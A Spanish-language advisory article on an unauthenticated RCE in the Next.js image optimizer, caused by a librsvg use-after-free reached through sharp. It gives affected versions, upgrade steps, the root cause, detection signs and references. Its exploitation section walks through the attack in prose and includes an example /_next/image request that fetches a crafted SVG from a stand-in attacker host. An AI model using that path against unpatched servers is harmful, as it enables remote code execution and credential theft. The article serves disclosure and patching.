GHSA-2464-fhr4-w9xw (CVE-2026-96889): RCE sin autenticación en la optimización de imágenes de Next.js

Resumen

Vercel clasifica GHSA-2464-fhr4-w9xw como crítica (CVSS v4.0 9.5): un atacante sin autenticación puede ejecutar código en un servidor Next.js que optimice SVG en Linux basado en glibc. Actualice a Next.js 16.4.1 o 15.5.28.

• La API integrada de optimización de imágenes de Next.js (/_next/image) pasa los bytes de imagen suministrados por el atacante a sharp, cuyos binarios precompilados de libvips incorporan librsvg, el renderizador estándar de SVG. Las compilaciones de librsvg afectadas son todas las versiones anteriores al conjunto corregido: las versiones de la rama principal anteriores a 2.63.2 y las de las series estables anteriores a las correcciones adaptadas a 2.62.4, 2.61.5, 2.60.3 y 2.57.5, según RUSTSEC-2026-0305. Estas versiones liberan una entidad XML mientras libxml2 sigue usándola: un uso de memoria después de liberarla, publicado como CVE-2026-96889.
• Todas las versiones de Next.js desde 10.0.0 hasta 15.5.27 y desde 16.0.0 hasta 16.4.0 están afectadas cuando se ejecutan en Linux basado en glibc y los archivos SVG pueden llegar al optimizador. Vercel confirma que existe una prueba de concepto pública del fallo de librsvg.
• A 23 de octubre de 2026, no se conoce explotación en ataques reales y el problema no figura en el catálogo de vulnerabilidades explotadas conocidas de CISA.
• Actualice a Next.js 16.4.1, o a 15.5.28 en la rama 15.x. En Node.js 20.9.0 o posterior, una instalación nueva resuelve sharp 0.35.5 (librsvg 2.63.2). En 15.x, ejecute npm ls sharp después de actualizar e instale sharp@0.35.5 si queda una compilación 0.34.x. El aviso de Vercel indica una solución temporal: garantizar que sharp se resuelva a 0.35.5 o posterior.

¿Estoy afectado?

npm registró 44.586.009 descargas de next en la semana del 16-22 de octubre de 2026. Realice la siguiente comprobación de dos minutos.

Está afectado si se cumplen todas estas condiciones:

• Next.js se ejecuta en un rango afectado.
• El servidor ejecuta Linux basado en glibc, el caso habitual en los despliegues de Node.
• sharp se resuelve a una compilación cuya librsvg incluida no está corregida. La tabla siguiente relaciona cada compilación de sharp con librsvg.
• El contenido SVG puede llegar a la API de optimización de imágenes.

A partir de Next.js 15.0.0, next incluye sharp en optionalDependencies, por lo que se instala de forma predeterminada. Next.js 12.3.0, 13.5.6 y 14.2.32 no declaran ninguna dependencia de sharp. En esas ramas, el optimizador carga sharp únicamente si el proyecto lo instala y, de lo contrario, recurre a Squoosh.

La versión resuelta de sharp determina qué compilación de librsvg incorpora el servidor:

Compruebe qué está instalado:

# Next.js and sharp versions
npm ls next sharp

# Direct read of the installed versions
node -e "console.log('next', require('next/package.json').version)"
node -e "console.log('sharp', require('sharp/package.json').version)"

# Lock file check (lockfileVersion 2 and 3)
grep -n '"node_modules/next"' package-lock.json | head
grep -n '"node_modules/sharp"' package-lock.json | head
# lockfileVersion 1 keys packages by bare name
grep -n '"next": {' package-lock.json | head
grep -n '"sharp": {' package-lock.json | head

# Container image check
docker run --rm <your-image> node -e "console.log(require('next/package.json').version, require('sharp/package.json').version)"

Sharp 0.35.x declara engines.node: >=20.9.0, por lo que Node 18 queda fuera de su rango de entornos de ejecución compatibles. Ese campo no hace que npm elija una versión anterior compatible de sharp: salvo que esté activado engine-strict, npm lo trata como una recomendación y advierte de la incompatibilidad del entorno de ejecución.

• El rango de dependencia ^0.33.5 de Next.js 15.0.0 permite sharp 0.33.5, que incluye librsvg 2.58.93.
• El rango ^0.34.3 || ^0.35.5 de Next.js 15.5.28 permite tanto la rama 0.34.x sin corregir como 0.35.5 corregida; un archivo de bloqueo existente puede conservar 0.34.x.

Las compilaciones 0.33.x y 0.34.x de la tabla sharp/librsvg no contienen ninguna librsvg corregida.

¿Cómo lo corrijo?

Actualice Next.js. En Node.js 20.9.0 o posterior, una resolución nueva obtiene sharp 0.35.5 (librsvg 2.63.2). Compruebe dos excepciones:

• En la rama 15.x, el rango sigue aceptando ^0.34.3, por lo que un archivo de bloqueo existente puede mantener una compilación 0.34.x sin corregir. Ejecute npm ls sharp después de actualizar e instale sharp@0.35.5 explícitamente si sigue en 0.34.x.
• Los hosts con Node 18 en la rama 15.x deben pasar a Node.js 20.9.0 o posterior para que la corrección sea efectiva.

# Next.js 16 line
npm install next@16.4.1
# or: pnpm add next@16.4.1   |   yarn add next@16.4.1

# Next.js 15 line
npm install next@15.5.28

Si aún no puede actualizar Next.js, fuerce solo la actualización de sharp. La solución temporal indicada en el aviso consiste en garantizar que la versión de sharp utilizada por Next.js sea 0.35.5 o superior. Esto requiere Node.js 20.9.0 o posterior, porque 0.35.x es la única rama de sharp que incluye una librsvg corregida.

npm install sharp@0.35.5

Esa instalación solo cambia lo que carga Next.js cuando su propio rango de sharp acepta 0.35.5. Next.js 15.5.27 declara ^0.34.3 || ^0.35.4, que sí la acepta. Next.js 15.0.0 declara ^0.33.5, que no la acepta, por lo que su versión anidada 0.33.5 permanece. En ese caso, fuerce la resolución en package.json y reinstale:

{
  "overrides": { "sharp": "0.35.5" }
}

Utilice pnpm.overrides con pnpm y resolutions con Yarn.

Límites de la solución temporal: solo sustituye la librsvg incluida. No cambia cómo gestiona las solicitudes el optimizador.

• La corrección 16.4.1 requiere sharp ^0.35.5, que proporciona librsvg 2.63.2 corregida.
• La corrección 15.5.28 mantiene el mínimo ^0.34.3 en su rango ^0.34.3 || ^0.35.5. Ese mínimo no incorpora la corrección: las compilaciones 0.34.x incluyen librsvg de 2.60.0 a 2.61.2, todas anteriores a las correcciones adaptadas 2.60.3 y 2.61.5.
• En Node 18, la actualización de 15.x está incompleta. Pase a Node.js 20.9.0 o posterior para ejecutar sharp 0.35.5 en un entorno compatible y, después, verifique la versión resuelta de sharp.

¿Cuál es la causa raíz?

El uso de memoria después de liberarla ocurre cuando el código libera memoria y sigue usando el puntero que la referencia. En librsvg, la biblioteca Rust que renderiza archivos SVG analizando su XML con libxml2, un XInclude anidado con declaraciones de entidades duplicadas libera una estructura xmlEntity que el análisis exterior aún conserva. XInclude es un mecanismo que permite a un documento XML incorporar nodos de otro. El registro CVE-2026-96889 de Red Hat describe esta secuencia.

RUSTSEC-2026-0305 describe el fallo en cuatro pasos:

1. Durante la expansión de una entidad interna, libxml2 analiza recursivamente un documento XInclude que vuelve a declarar el mismo nombre de entidad.
2. Ambos análisis comparten el mapa de entidades XmlState de librsvg. Al añadir el duplicado, se desplaza la entrada original.
3. Al descartar la xmlEntity desplazada, se invoca xmlFreeNode(), que libera su memoria.
4. La llamada exterior a xmlCtxtParseEntity() sigue accediendo a esa estructura liberada de 144 bytes.

En una frase: el mapa de entidades podía sustituir una entrada sin comprobar si libxml2 seguía conservando un puntero a ella; así, un documento que vuelve a declarar un nombre de entidad a través de un límite XInclude convierte un puntero interno del analizador en un puntero colgante.

Esa es la comprobación de vida útil que falta y lo que elimina la corrección del proyecto original. El commit 8a1b0cd319e9af2d1e9cf878081dd77f227a0504 de librsvg deja de liberar los punteros xmlEntity que libxml2 sigue utilizando. La corrección se publicó primero en librsvg 2.63.2, con adaptaciones a 2.62.4, 2.61.5, 2.60.3 y 2.57.5, y se hizo pública el 23 de septiembre de 2026.

Next.js llega a este código mediante la optimización de imágenes. El endpoint /_next/image acepta un parámetro url, lo comprueba contra las listas de permitidos configuradas (images.domains en ramas antiguas, images.localPatterns e images.remotePatterns en las recientes), obtiene los bytes y los pasa a sharp, que carga la imagen mediante libvips. El optimizador de Next.js 16.4.0 habilita explícitamente el cargador SVG de libvips para ello, en packages/next/src/server/image-optimizer/transform.ts:

// packages/next/src/server/image-optimizer/transform.ts (v16.4.0)
export function getSharp(concurrency, operationCache) {
  ...
  _sharp.block({ operation: ['VipsForeignLoad'] })
  _sharp.unblock({
    operation: [
      'VipsForeignLoadHeif',   // avif
      'VipsForeignLoadJpeg',
      'VipsForeignLoadNsgif',
      'VipsForeignLoadPng',
      'VipsForeignLoadSvg',    // librsvg parses SVG bytes here
      ...
    ],
  })

Cuando libvips identifica la entrada como SVG, VipsForeignLoadSvg entrega el documento a librsvg, y los bytes de la solicitud pueden alcanzar el fallo del mapa de entidades. La misma habilitación de VipsForeignLoadSvg existe en el optimizador 15.5.x. En versiones afectadas anteriores, el recorrido interno difiere: Next.js 14.2.x, por ejemplo, pasa directamente a sharp cualquier búfer que no pueda identificar por sus bytes mágicos para detectar el formato, en packages/next/src/server/image-optimizer.ts (v14.2.32):

// Fallback to sharp if available
if (sharp) {
  const meta = await sharp(buffer)
    .metadata()
    .catch((_) => null)
  switch (meta?.format) {
    ...
    case 'svg':
      return SVG

Observe el orden en esa versión: sharp(buffer).metadata() analiza el archivo antes de ejecutar la comprobación dangerouslyAllowSVG del optimizador, de modo que, en esa ruta de código, el control SVG solo impide devolver la imagen, pero no analizarla.

¿Cómo se explota?

No existe un exploit público completo contra Next.js. Para el propio fallo de librsvg sí existe una reproducción pública: la incidencia del gestor GNOME GitLab está etiquetada como contenido con material de explotación, y el registro vulnrichment de CISA para CVE-2026-96889 marca la explotación como «poc» y el impacto técnico como «total». No lo reproducimos aquí; los pasos siguientes describen la ruta publicada sin código de explotación.

1. El atacante prepara un SVG que contiene un XInclude de un segundo documento, donde ese segundo documento declara una entidad XML con el mismo nombre que otra ya declarada en el documento exterior.
2. El atacante coloca ese SVG donde el optimizador del objetivo pueda obtenerlo: una ruta local o un host remoto que supere la lista de permitidos images de la aplicación.
3. El atacante lo solicita a través del endpoint de optimización de imágenes, con un ancho incluido en deviceSizes o imageSizes de la aplicación y una calidad dentro del rango, por ejemplo GET /_next/image?url=https%3A%2F%2Fcdn.attacker.example%2Favatar.svg&w=640&q=75.
4. El optimizador obtiene los bytes y los pasa a sharp. Libvips identifica el documento como SVG y librsvg lo analiza.
5. Durante la expansión de entidades, el XInclude anidado vuelve a declarar la entidad. El mapa sustituye la entrada antigua y la libera, mientras el análisis exterior conserva un puntero a ella.
6. El analizador exterior lee la xmlEntity liberada de 144 bytes: un uso de memoria después de liberarla. En un montón de glibc, un atacante que controle el contenido liberado y la secuencia de asignaciones puede convertirlo en ejecución de código arbitrario dentro del proceso del servidor Node.js.

El aviso limita la RCE a Linux basado en glibc porque los binarios precompilados de sharp que instala Next.js son compilaciones glibc; las compilaciones musl son paquetes independientes.

¿Cómo recorre el exploit el optimizador?

La comprobación ausente está en el nodo E del diagrama: nada verifica que la entidad haya dejado de utilizarse antes de liberarla.

¿Qué puede hacer un atacante?

Una explotación exitosa ejecuta código arbitrario con los privilegios del proceso del servidor Next.js, normalmente el proceso Node.js que sirve la aplicación. Esto permite acceder a todo lo que alcance el proceso: variables de entorno y credenciales de despliegue, servicios internos, bases de datos y la capacidad de modificar las respuestas enviadas a los usuarios. Una explotación fallida o parcial también puede hacer caer el proceso, porque el puntero colgante se desreferencia tanto si el atacante gana la carrera del asignador como si no.

Condiciones que necesita un atacante:

• Ninguna autenticación ni interacción del usuario, según el vector CVSS v4.0 AV:N/AC:L/AT:P/PR:N/UI:N (red, complejidad baja, sin privilegios, sin interacción del usuario; requisitos de ataque presentes).
• El servidor ejecuta Linux basado en glibc.
• sharp se resuelve a una compilación cuya librsvg incluida no está corregida (0.35.4 incluye librsvg 2.62.91; 0.34.x incluye 2.60.0, 2.61.1 o 2.61.2; 0.33.5 incluye 2.58.93).
• Los bytes SVG pueden llegar al optimizador: el atacante necesita una URL de origen que supere la lista de patrones permitidos images de la aplicación. En Next.js 14.2.x, el SVG se analiza antes de la comprobación dangerouslyAllowSVG, por lo que ese indicador solo controla la respuesta, no el análisis vulnerable.
• Una combinación de ancho y calidad que acepte la aplicación.

¿Por qué funciona la corrección?

Vercel lo corrigió actualizando la librsvg incluida mediante la dependencia sharp, sin cambiar la gestión de solicitudes. El commit de corrección de 16.x (9571ec8) eleva el requisito de sharp en packages/next/package.json:

   "optionalDependencies": {
-    "sharp": "^0.35.4"
+    "sharp": "^0.35.5"
   }

El commit de corrección de 15.x (5e3b687) hace lo mismo para su rango: "sharp": "^0.34.3 || ^0.35.4" pasa a "^0.34.3 || ^0.35.5". Sharp 0.35.5 sustituye los paquetes precompilados de libvips @img/sharp-libvips-* 1.3.3 por 1.3.4. La versión 1.3.4 incluye rsvg 2.63.2 (según sus notas de publicación), la primera versión corregida de la rama principal según RustSec, que contiene el commit original 8a1b0cd3. Ese commit deja de liberar los punteros xmlEntity que libxml2 sigue usando. Eliminado el fallo, el documento con XInclude anidado ya no produce una referencia colgante, por lo que desaparecen tanto la caída como la ruta de ejecución de código.

¿Es completa la corrección? Para la ruta de binarios incluidos, sí: librsvg corregida elimina la causa raíz y los rangos de versiones del aviso coinciden con el cambio de dependencia. Quedan dos salvedades:

• Versiones de sharp fijadas. Fijar sharp por debajo de 0.35.5, incluida cualquier versión 0.34.x, conserva una librsvg vulnerable incluso con Next.js corregido. Por eso el aviso expresa la solución temporal en términos de la versión de sharp.
• Una RCE «posible» sigue siendo exposición. El aviso describe el impacto como RCE «posible», ya que la explotación del uso de memoria liberada depende del comportamiento del asignador. Considere expuestos todos los despliegues afectados, en vez de clasificarlos según su probabilidad.

¿Cómo compruebo si me comprometieron?

No se han publicado indicadores de compromiso para este problema. A falta de orientación pública, busque estas señales generales relacionadas con el endpoint de imágenes:

• Solicitudes a /_next/image cuyos parámetros url apunten a hosts o rutas inesperados, especialmente los que hayan servido contenido SVG.
• Ráfagas de respuestas HTTP 400 del optimizador, que rechaza contenido SVG cuando dangerouslyAllowSVG está desactivado; el tráfico de sondeo puede dejar ese rastro.
• Caídas o reinicios del proceso Node.js correlacionados con la optimización de imágenes, ya que el mismo defecto puede hacer caer el analizador en lugar de ceder el control al atacante.
• Errores de sharp en los registros como «Input buffer contains unsupported image format», que el optimizador registra cuando una carga falla a mitad del proceso.

Si encuentra actividad sospechosa, rote todas las credenciales a las que pudiera acceder el proceso del servidor, ya que la ejecución de código en ese proceso permite leerlas.

Cronología

• 23 de septiembre de 2026: Rafael B. Dias comunica a Red Hat el uso de memoria liberada en librsvg. Se divulga ese mismo día junto con RUSTSEC-2026-0305 y CVE-2026-96889.
• 25 de septiembre de 2026: el ADP vulnrichment de CISA para CVE-2026-96889 registra una prueba de concepto pública («Exploitation: poc», impacto técnico «total»).
• 27 de septiembre de 2026: sharp-libvips 1.3.4 se publica con librsvg 2.63.2, y sharp 0.35.5 se publica con ella.
• 14 de octubre de 2026: Vercel publica GHSA-2464-fhr4-w9xw y lanza Next.js 15.5.28 y 16.4.1 con la actualización de sharp.
• 22 de octubre de 2026: el aviso se publica y revisa en GitHub Advisory Database.
• 23 de octubre de 2026: este artículo. No se conoce explotación en ataques reales; el problema no figura en el catálogo KEV de CISA.

Preguntas frecuentes

¿Mi aplicación está expuesta con la configuración predeterminada de Next.js? La API de optimización de imágenes está habilitada de forma predeterminada en aplicaciones que usan next/image con el cargador predeterminado. Que el contenido SVG pueda llegar a sharp depende de la ruta de detección de su versión y de la configuración images. Actualice independientemente de la configuración.

¿Tengo sharp instalado? Desde 15.0.0, Next.js incluye sharp entre sus dependencias opcionales, por lo que una ejecución normal de npm install en una plataforma compatible lo incorpora. Las versiones anteriores a 15.0.0 que comprobamos (12.3.0, 13.5.6, 14.2.32) no lo incluyen, así que sharp solo está presente si el proyecto lo instala. Ejecute npm ls sharp. Un resultado 0.35.5 o posterior incorpora librsvg 2.63.2 corregida. Un resultado 0.34.x no: esas versiones incluyen 2.60.0, 2.61.1 o 2.61.2, todas anteriores a las correcciones adaptadas 2.60.3 y 2.61.5.

¿Existe un CVE para el propio aviso de Next.js? A 23 de octubre de 2026, el aviso de GitHub GHSA-2464-fhr4-w9xw no tiene un CVE propio. El fallo subyacente de librsvg es CVE-2026-96889, identificador con el que lo siguen NVD y las distribuciones Linux.

Mi aplicación solo sirve PNG y JPEG. ¿Debo preocuparme? El aviso limita el fallo a archivos SVG utilizados en la optimización de imágenes. Una aplicación cuyas listas de permitidos no puedan utilizarse para servir SVG al optimizador queda fuera de la ruta descrita. La medida segura sigue siendo la actualización de una línea.

¿Alpine Linux (musl) me protege? El aviso limita la RCE a Linux basado en glibc. Las compilaciones precompiladas musl son paquetes independientes y el aviso no afirma nada sobre ellas. No considere la diferencia de plataforma una corrección; actualice sharp y Next.js de todos modos.

¿Se está explotando? A 23 de octubre de 2026, no se conoce explotación en ataques reales y el problema no figura en el catálogo KEV de CISA. Existe una prueba de concepto pública del fallo de librsvg, por lo que conviene asumir interés por parte de atacantes oportunistas y aplicar el parche con esa premisa.

Analice sus repositorios Next.js con el análisis de código fuente de Ostorlab y utilice las comprobaciones de versiones anteriores para verificar las compilaciones de Next.js y sharp instaladas en cada despliegue.

Referencias

• Aviso de Vercel GHSA-2464-fhr4-w9xw: https://github.com/vercel/next.js/security/advisories/GHSA-2464-fhr4-w9xw (consultado el 23 de octubre de 2026; reconoce a los descubridores randomguy6407 y rafabd1, comprobado el 27 de octubre de 2026)
• Entrada de GitHub Advisory Database: https://github.com/advisories/GHSA-2464-fhr4-w9xw (consultada el 23 de octubre de 2026)
• Registro CVE-2026-96889 (CNA Red Hat): https://cveawg.mitre.org/api/cve/CVE-2026-96889 (consultado el 23 de octubre de 2026)
• Aviso de RustSec RUSTSEC-2026-0305 (matriz de versiones corregidas comprobada de nuevo el 24 de octubre de 2026): https://rustsec.org/advisories/RUSTSEC-2026-0305.html
• Entrada del gestor de incidencias de librsvg (elemento de trabajo #1241), que referencia el commit de corrección 8a1b0cd319e9af2d1e9cf878081dd77f227a0504: https://gitlab.gnome.org/GNOME/librsvg/-/work_items/1241 (consultada el 23 de octubre de 2026)
• Commit de corrección de Next.js 16.x (actualización de sharp): https://github.com/vercel/next.js/commit/9571ec899f063df6533351bec390ccb2cc0af6a3 (consultado el 23 de octubre de 2026)
• Commit de corrección de Next.js 15.x (actualización de sharp): https://github.com/vercel/next.js/commit/5e3b687b5edb868b064bdc058d768a7021e7f6ad (consultado el 23 de octubre de 2026)
• Notas de publicación de Next.js 16.4.1: https://github.com/vercel/next.js/releases/tag/v16.4.1 (consultadas el 23 de octubre de 2026)
• Notas de publicación de sharp 0.35.5: https://github.com/lovell/sharp/releases/tag/v0.35.5 (consultadas el 23 de octubre de 2026)
• Metadatos del paquete sharp 0.35.5 (@img/sharp-libvips-* fijado en 1.3.4, motor Node >=20.9.0): https://raw.githubusercontent.com/lovell/sharp/v0.35.5/package.json (consultados el 27 de octubre de 2026)
• Metadatos del paquete sharp 0.33.5 (@img/sharp-libvips-* fijado en 1.0.4): https://raw.githubusercontent.com/lovell/sharp/v0.33.5/package.json (consultados el 27 de octubre de 2026)
• Paquete publicado @img/sharp-libvips-linux-x64 1.0.4, versions.json (rsvg 2.58.93): https://registry.npmjs.org/@img/sharp-libvips-linux-x64/-/sharp-libvips-linux-x64-1.0.4.tgz (consultado el 27 de octubre de 2026)
• Metadatos del paquete Next.js, etiquetas v14.2.32 (sin dependencia de sharp) y v15.0.0 ("sharp": "^0.33.5"): https://github.com/vercel/next.js/blob/v14.2.32/packages/next/package.json y https://github.com/vercel/next.js/blob/v15.0.0/packages/next/package.json (consultados el 27 de octubre de 2026)
• Metadatos del paquete sharp 0.34.3 (@img/sharp-libvips-* fijado en 1.2.0, rango del motor Node): https://raw.githubusercontent.com/lovell/sharp/v0.34.3/package.json (consultados el 24 de octubre de 2026)
• Versiones de compilación de sharp-libvips 1.2.0 (rsvg 2.60.0): https://raw.githubusercontent.com/lovell/sharp-libvips/v1.2.0/versions.properties (consultadas el 24 de octubre de 2026)
• Versiones de compilación de sharp-libvips 1.2.3 (rsvg 2.61.1): https://raw.githubusercontent.com/lovell/sharp-libvips/v1.2.3/versions.properties (consultadas el 24 de octubre de 2026)
• Versiones de compilación de sharp-libvips 1.2.4 (rsvg 2.61.2): https://raw.githubusercontent.com/lovell/sharp-libvips/v1.2.4/versions.properties (consultadas el 24 de octubre de 2026)
• Notas de publicación de sharp-libvips 1.3.4 (rsvg 2.63.2): https://github.com/lovell/sharp-libvips/releases/tag/v1.3.4 (consultadas el 23 de octubre de 2026)
• Notas de publicación de sharp-libvips 1.3.3 (rsvg 2.62.91): https://github.com/lovell/sharp-libvips/releases/tag/v1.3.3 (consultadas el 23 de octubre de 2026)
• Código del optimizador de Next.js, etiqueta v16.4.0: https://github.com/vercel/next.js/blob/v16.4.0/packages/next/src/server/image-optimizer/transform.ts (consultado el 23 de octubre de 2026)
• Código del optimizador de Next.js, etiqueta v14.2.32: https://github.com/vercel/next.js/blob/v14.2.32/packages/next/src/server/image-optimizer.ts (consultado el 23 de octubre de 2026)
• Recuento de descargas npm de next (44.586.009 descargas, semana del 16-22 de octubre de 2026): https://api.npmjs.org/downloads/point/last-week/next (consultado el 24 de octubre de 2026)
• Documentación de metadatos de paquetes npm (engines es orientativo salvo que se configure engine-strict): https://docs.npmjs.com/cli/v11/configuring-npm/package-json/#engines (consultada el 28 de octubre de 2026)